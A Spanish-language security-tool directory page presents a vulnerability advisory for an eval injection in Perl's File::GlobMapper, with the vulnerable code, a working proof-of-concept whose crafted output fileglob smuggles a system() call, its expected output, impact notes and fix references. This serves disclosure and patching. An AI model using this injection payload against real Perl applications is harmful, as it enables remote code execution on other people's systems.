Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-48962 — CVE-2026-48962 - IO::Compress - Ejecución de Código | Kitploit
Herramientas/GitHubGitHub/joakimbulow/cve-2026-48962
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónPapers e InvestigaciónAprendizaje y Educación
GitHubjoakimbulow/cve-2026-48962

CVE-2026-48962

CVE-2026-48962 - IO::Compress - Ejecución de Código

Ver Repositorio
2hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Resumen

Una vulnerabilidad de inyección en eval en File::GlobMapper::_getFiles() permite a cualquier atacante que pueda controlar el argumento fileglob de salida pasado a IO::Compress::Gzip::gzip(), IO::Compress::Zip::zip(), o cualquier función relacionada, ejecutar código Perl arbitrario en el contexto del proceso en ejecución. No se requiere autenticación. El impacto es total: la confidencialidad, integridad y disponibilidad del proceso anfitrión quedan totalmente comprometidas.


Detalles

File::GlobMapper::_parseOutputGlob() construye una plantilla de nombre de archivo de salida envolviendo el patrón de salida proporcionado por el llamante entre comillas dobles de Perl y almacenando el resultado. _getFiles() pasa luego esa cadena directamente a eval sin ningún tipo de saneamiento:

lib/File/GlobMapper.pm:316–321

root@kitploit:~
$string =~ s/${noPreBS}#(\d)/\${$1}/g;
$string =~ s#${noPreBS}\*#\${inFile}#g;
$string = '"' . $string . '"';      # wrapped in double-quotes
$self->{OutputPattern} = $string;   # stored verbatim — no escaping

lib/File/GlobMapper.pm:342

root@kitploit:~
eval "\$outFile = $self->{OutputPattern};" ;   # executed — injection point

File::GlobMapper se invoca automáticamente siempre que ambos argumentos, de entrada y de salida, de una función IO::Compress::* / IO::Uncompress::* sean cadenas fileglob (delimitadas por < >). Esta es una convención de llamada documentada y común. Las funciones afectadas incluyen gzip, zip, bzip2, deflate, rawdeflate y todas sus contrapartes IO::Uncompress::*.

Cualquier carácter que cierre la cadena Perl entre comillas dobles circundante — una comilla doble literal ", un acento grave, ${...} o @{...} — seguido de código Perl arbitrario se ejecuta tal cual.


PoC

Guárdelo como poc.pl y ejecútelo con perl poc.pl:

root@kitploit:~
#!/usr/bin/perl
use strict;
use warnings;
use File::Temp qw(tempdir);
use IO::Compress::Gzip qw(gzip);

my $dir      = tempdir(CLEANUP => 1);
my $sentinel = "/tmp/CVE_GlobMapper_RCE_$$";

# Create a legitimate input file that the input glob will match
open my $fh, '>', "$dir/test.txt" or die $!;
print $fh "data\n";
close $fh;

my $malicious = qq(<$dir/out.gz"; system("touch $sentinel"); #>);

print "Sentinel before: ", (-e $sentinel ? "EXISTS" : "absent"), "\n";

eval { gzip "<$dir/*.txt>" => $malicious };

if (-e $sentinel) {
    print "EXPLOITED — arbitrary command executed via eval injection\n";
    print "Sentinel: $sentinel\n";
    unlink $sentinel;
} else {
    print "Did not fire (check error: $@)\n";
}

Salida esperada:

root@kitploit:~
Sentinel before: absent
EXPLOITED — arbitrary command executed via eval injection
Sentinel: /tmp/CVE_GlobMapper_RCE_<pid>

Confirmado en IO-Compress 2.219 / Perl 5.40.1 / Ubuntu 26.04.


Impacto

Esta es una vulnerabilidad de ejecución remota de código. Cualquier aplicación web, servicio de API, herramienta CLI o canal de procesamiento por lotes que acepte entrada del usuario y la pase como argumento fileglob de salida a cualquier función IO::Compress::* es vulnerable. El código inyectado se ejecuta con todos los privilegios del proceso que realiza la llamada.

Quiénes están afectados: Desarrolladores y operadores de aplicaciones Perl que usan funciones IO::Compress::* con la convención de llamada mediante fileglob y donde el patrón de salida se deriva de entradas no confiables — como plantillas de nombres de archivo de formularios web, parámetros de API REST, argumentos CLI o archivos de configuración controlados por usuarios sin privilegios.

En contextos setuid o de demonios privilegiados, la explotación produce ejecución de código al nivel de privilegio elevado. El fallo está presente desde el lanzamiento inicial de File::GlobMapper (≈ 2005) y está presente en todas las distribuciones de Linux que incluyen el paquete perl.

Referencias

  • https://nvd.nist.gov/vuln/detail/CVE-2026-48962
  • https://github.com/pmqs/IO-Compress/commit/f2db247bf90d4cc7ee2710be384946081f3b4610.patch
  • https://github.com/pmqs/IO-Compress/issues/73
  • https://metacpan.org/release/PMQS/IO-Compress-2.220/changes
  • http://www.openwall.com/lists/oss-security/2026/05/27/4
  • https://github.com/advisories/GHSA-q6wx-vhvq-x7h6
Descargar herramienta